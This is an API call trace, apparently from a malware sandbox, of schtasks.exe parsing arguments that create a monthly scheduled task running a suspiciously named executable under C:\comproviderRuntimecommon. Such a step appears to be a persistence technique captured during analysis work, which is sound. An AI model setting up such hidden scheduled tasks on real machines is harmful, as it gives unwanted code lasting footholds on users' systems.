lstrlenW (lpString="|ru|") returned 4 [0128.506] lstrlenW (lpString="|mo|") returned 4 [0128.506] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0128.506] SetLastError (dwErrCode=0x490) [0128.506] lstrlenW (lpString="rp") returned 2 [0128.506] lstrlenW (lpString="rp") returned 2 [0128.506] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.506] lstrlenW (lpString="mo") returned 2 [0128.506] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.506] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.506] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.506] lstrlenW (lpString="|rp|") returned 4 [0128.507] lstrlenW (lpString="|mo|") returned 4 [0128.507] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0128.507] SetLastError (dwErrCode=0x490) [0128.507] lstrlenW (lpString="sc") returned 2 [0128.507] lstrlenW (lpString="sc") returned 2 [0128.507] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.507] lstrlenW (lpString="mo") returned 2 [0128.507] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.507] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.507] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.507] lstrlenW (lpString="|sc|") returned 4 [0128.507] lstrlenW (lpString="|mo|") returned 4 [0128.507] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0128.507] SetLastError (dwErrCode=0x490) [0128.507] lstrlenW (lpString="mo") returned 2 [0128.507] lstrlenW (lpString="mo") returned 2 [0128.507] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.507] lstrlenW (lpString="mo") returned 2 [0128.507] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.507] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.507] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.510] lstrlenW (lpString="|mo|") returned 4 [0128.510] lstrlenW (lpString="|mo|") returned 4 [0128.510] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0128.510] SetLastError (dwErrCode=0x0) [0128.510] SetLastError (dwErrCode=0x0) [0128.510] lstrlenW (lpString="5") returned 1 [0128.510] SetLastError (dwErrCode=0x490) [0128.510] SetLastError (dwErrCode=0x0) [0128.510] lstrlenW (lpString="5") returned 1 [0128.510] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0128.510] SetLastError (dwErrCode=0x490) [0128.510] SetLastError (dwErrCode=0x0) [0128.510] _memicmp (_Buf1=0x48d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.511] lstrlenW (lpString="5") returned 1 [0128.511] lstrlenW (lpString="5") returned 1 [0128.511] lstrlenW (lpString=" \x09") returned 2 [0128.511] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0128.511] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0128.511] GetLastError () returned 0x0 [0128.511] lstrlenW (lpString="5") returned 1 [0128.511] lstrlenW (lpString="5") returned 1 [0128.511] GetProcessHeap () returned 0x470000 [0128.511] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x4) returned 0x48b9d0 [0128.511] SetLastError (dwErrCode=0x0) [0128.511] SetLastError (dwErrCode=0x0) [0128.511] lstrlenW (lpString="/tr") returned 3 [0128.511] lstrlenW (lpString="-/") returned 2 [0128.511] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.511] lstrlenW (lpString="create") returned 6 [0128.511] lstrlenW (lpString="create") returned 6 [0128.511] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.511] lstrlenW (lpString="tr") returned 2 [0128.511] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.511] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.511] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.512] lstrlenW (lpString="|create|") returned 8 [0128.512] lstrlenW (lpString="|tr|") returned 4 [0128.512] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.512] SetLastError (dwErrCode=0x490) [0128.512] lstrlenW (lpString="?") returned 1 [0128.512] lstrlenW (lpString="?") returned 1 [0128.512] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.512] lstrlenW (lpString="tr") returned 2 [0128.512] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.512] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.512] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.512] lstrlenW (lpString="|?|") returned 3 [0128.512] lstrlenW (lpString="|tr|") returned 4 [0128.512] SetLastError (dwErrCode=0x490) [0128.512] lstrlenW (lpString="s") returned 1 [0128.512] lstrlenW (lpString="s") returned 1 [0128.512] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.512] lstrlenW (lpString="tr") returned 2 [0128.512] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.512] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.512] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.512] lstrlenW (lpString="|s|") returned 3 [0128.512] lstrlenW (lpString="|tr|") returned 4 [0128.513] SetLastError (dwErrCode=0x490) [0128.513] lstrlenW (lpString="u") returned 1 [0128.513] lstrlenW (lpString="u") returned 1 [0128.513] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.513] lstrlenW (lpString="tr") returned 2 [0128.513] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.513] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.513] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.513] lstrlenW (lpString="|u|") returned 3 [0128.513] lstrlenW (lpString="|tr|") returned 4 [0128.513] SetLastError (dwErrCode=0x490) [0128.513] lstrlenW (lpString="p") returned 1 [0128.513] lstrlenW (lpString="p") returned 1 [0128.513] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.513] lstrlenW (lpString="tr") returned 2 [0128.513] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.513] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.513] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.513] lstrlenW (lpString="|p|") returned 3 [0128.513] lstrlenW (lpString="|tr|") returned 4 [0128.513] SetLastError (dwErrCode=0x490) [0128.513] lstrlenW (lpString="ru") returned 2 [0128.513] lstrlenW (lpString="ru") returned 2 [0128.513] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.513] lstrlenW (lpString="tr") returned 2 [0128.513] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.514] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.514] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.514] lstrlenW (lpString="|ru|") returned 4 [0128.514] lstrlenW (lpString="|tr|") returned 4 [0128.514] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0128.514] SetLastError (dwErrCode=0x490) [0128.514] lstrlenW (lpString="rp") returned 2 [0128.514] lstrlenW (lpString="rp") returned 2 [0128.514] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.514] lstrlenW (lpString="tr") returned 2 [0128.514] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.514] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.514] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.514] lstrlenW (lpString="|rp|") returned 4 [0128.514] lstrlenW (lpString="|tr|") returned 4 [0128.514] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0128.514] SetLastError (dwErrCode=0x490) [0128.514] lstrlenW (lpString="sc") returned 2 [0128.514] lstrlenW (lpString="sc") returned 2 [0128.514] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.514] lstrlenW (lpString="tr") returned 2 [0128.514] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.514] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.514] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.514] lstrlenW (lpString="|sc|") returned 4 [0128.514] lstrlenW (lpString="|tr|") returned 4 [0128.515] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0128.515] SetLastError (dwErrCode=0x490) [0128.515] lstrlenW (lpString="mo") returned 2 [0128.515] lstrlenW (lpString="mo") returned 2 [0128.515] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.515] lstrlenW (lpString="tr") returned 2 [0128.515] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.515] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.515] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.515] lstrlenW (lpString="|mo|") returned 4 [0128.515] lstrlenW (lpString="|tr|") returned 4 [0128.515] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0128.515] SetLastError (dwErrCode=0x490) [0128.515] lstrlenW (lpString="d") returned 1 [0128.515] lstrlenW (lpString="d") returned 1 [0128.515] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.515] lstrlenW (lpString="tr") returned 2 [0128.515] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.515] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0128.515] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.515] lstrlenW (lpString="|d|") returned 3 [0128.515] lstrlenW (lpString="|tr|") returned 4 [0128.515] SetLastError (dwErrCode=0x490) [0128.515] lstrlenW (lpString="m") returned 1 [0128.515] lstrlenW (lpString="m") returned 1 [0128.515] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] lstrlenW (lpString="tr") returned 2 [0128.516] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0128.516] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.516] lstrlenW (lpString="|m|") returned 3 [0128.516] lstrlenW (lpString="|tr|") returned 4 [0128.516] SetLastError (dwErrCode=0x490) [0128.516] lstrlenW (lpString="i") returned 1 [0128.516] lstrlenW (lpString="i") returned 1 [0128.516] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] lstrlenW (lpString="tr") returned 2 [0128.516] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0128.516] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.516] lstrlenW (lpString="|i|") returned 3 [0128.516] lstrlenW (lpString="|tr|") returned 4 [0128.516] SetLastError (dwErrCode=0x490) [0128.516] lstrlenW (lpString="tn") returned 2 [0128.516] lstrlenW (lpString="tn") returned 2 [0128.516] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] lstrlenW (lpString="tr") returned 2 [0128.516] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.516] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.516] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.517] lstrlenW (lpString="|tn|") returned 4 [0128.517] lstrlenW (lpString="|tr|") returned 4 [0128.517] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0128.517] SetLastError (dwErrCode=0x490) [0128.517] lstrlenW (lpString="tr") returned 2 [0128.517] lstrlenW (lpString="tr") returned 2 [0128.517] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.517] lstrlenW (lpString="tr") returned 2 [0128.517] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.517] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.517] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.517] lstrlenW (lpString="|tr|") returned 4 [0128.517] lstrlenW (lpString="|tr|") returned 4 [0128.517] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0128.517] SetLastError (dwErrCode=0x0) [0128.517] SetLastError (dwErrCode=0x0) [0128.517] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.517] lstrlenW (lpString="-/") returned 2 [0128.517] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.517] SetLastError (dwErrCode=0x490) [0128.517] SetLastError (dwErrCode=0x490) [0128.517] SetLastError (dwErrCode=0x0) [0128.517] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.517] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0128.517] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.518] _memicmp (_Buf1=0x48c330, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.518] _memicmp (_Buf1=0x48c370, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.518] SetLastError (dwErrCode=0x7a) [0128.518] SetLastError (dwErrCode=0x0) [0128.518] SetLastError (dwErrCode=0x0) [0128.518] lstrlenW (lpString="'C") returned 2 [0128.518] lstrlenW (lpString="-/") returned 2 [0128.518] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.518] SetLastError (dwErrCode=0x490) [0128.518] SetLastError (dwErrCode=0x490) [0128.518] SetLastError (dwErrCode=0x0) [0128.518] _memicmp (_Buf1=0x48d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.518] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.518] GetProcessHeap () returned 0x470000 [0128.518] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d560) returned 1 [0128.518] GetProcessHeap () returned 0x470000 [0128.518] RtlReAllocateHeap (Heap=0x470000, Flags=0xc, Ptr=0x48d560, Size=0x60) returned 0x48c290 [0128.518] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.518] lstrlenW (lpString=" \x09") returned 2 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0128.518] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.519] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.520] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.520] GetLastError () returned 0x0 [0128.520] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.520] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.520] SetLastError (dwErrCode=0x0) [0128.520] SetLastError (dwErrCode=0x0) [0128.520] lstrlenW (lpString="/rl") returned 3 [0128.520] lstrlenW (lpString="-/") returned 2 [0128.520] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.520] lstrlenW (lpString="create") returned 6 [0128.520] lstrlenW (lpString="create") returned 6 [0128.520] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.520] lstrlenW (lpString="rl") returned 2 [0128.520] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.520] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.520] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.521] lstrlenW (lpString="|create|") returned 8 [0128.521] lstrlenW (lpString="|rl|") returned 4 [0128.521] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0128.521] SetLastError (dwErrCode=0x490) [0128.521] lstrlenW (lpString="?") returned 1 [0128.521] lstrlenW (lpString="?") returned 1 [0128.521] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.521] lstrlenW (lpString="rl") returned 2 [0128.521] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.521] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.521] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.521] lstrlenW (lpString="|?|") returned 3 [0128.521] lstrlenW (lpString="|rl|") returned 4 [0128.521] SetLastError (dwErrCode=0x490) [0128.521] lstrlenW (lpString="s") returned 1 [0128.521] lstrlenW (lpString="s") returned 1 [0128.521] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.521] lstrlenW (lpString="rl") returned 2 [0128.521] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.521] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.521] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.521] lstrlenW (lpString="|s|") returned 3 [0128.521] lstrlenW (lpString="|rl|") returned 4 [0128.521] SetLastError (dwErrCode=0x490) [0128.521] lstrlenW (lpString="u") returned 1 [0128.521] lstrlenW (lpString="u") returned 1 [0128.522] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] lstrlenW (lpString="rl") returned 2 [0128.522] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.522] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.522] lstrlenW (lpString="|u|") returned 3 [0128.522] lstrlenW (lpString="|rl|") returned 4 [0128.522] SetLastError (dwErrCode=0x490) [0128.522] lstrlenW (lpString="p") returned 1 [0128.522] lstrlenW (lpString="p") returned 1 [0128.522] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] lstrlenW (lpString="rl") returned 2 [0128.522] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.522] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.522] lstrlenW (lpString="|p|") returned 3 [0128.522] lstrlenW (lpString="|rl|") returned 4 [0128.522] SetLastError (dwErrCode=0x490) [0128.522] lstrlenW (lpString="ru") returned 2 [0128.522] lstrlenW (lpString="ru") returned 2 [0128.522] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] lstrlenW (lpString="rl") returned 2 [0128.522] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.522] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.522] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.522] lstrlenW (lpString="|ru|") returned 4 [0128.523] lstrlenW (lpString="|rl|") returned 4 [0128.523] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0128.523] SetLastError (dwErrCode=0x490) [0128.523] lstrlenW (lpString="rp") returned 2 [0128.523] lstrlenW (lpString="rp") returned 2 [0128.523] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.523] lstrlenW (lpString="rl") returned 2 [0128.523] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.523] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.523] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.523] lstrlenW (lpString="|rp|") returned 4 [0128.523] lstrlenW (lpString="|rl|") returned 4 [0128.523] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0128.523] SetLastError (dwErrCode=0x490) [0128.523] lstrlenW (lpString="sc") returned 2 [0128.523] lstrlenW (lpString="sc") returned 2 [0128.523] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.523] lstrlenW (lpString="rl") returned 2 [0128.523] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.523] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.523] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.523] lstrlenW (lpString="|sc|") returned 4 [0128.523] lstrlenW (lpString="|rl|") returned 4 [0128.523] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0128.523] SetLastError (dwErrCode=0x490) [0128.523] lstrlenW (lpString="mo") returned 2 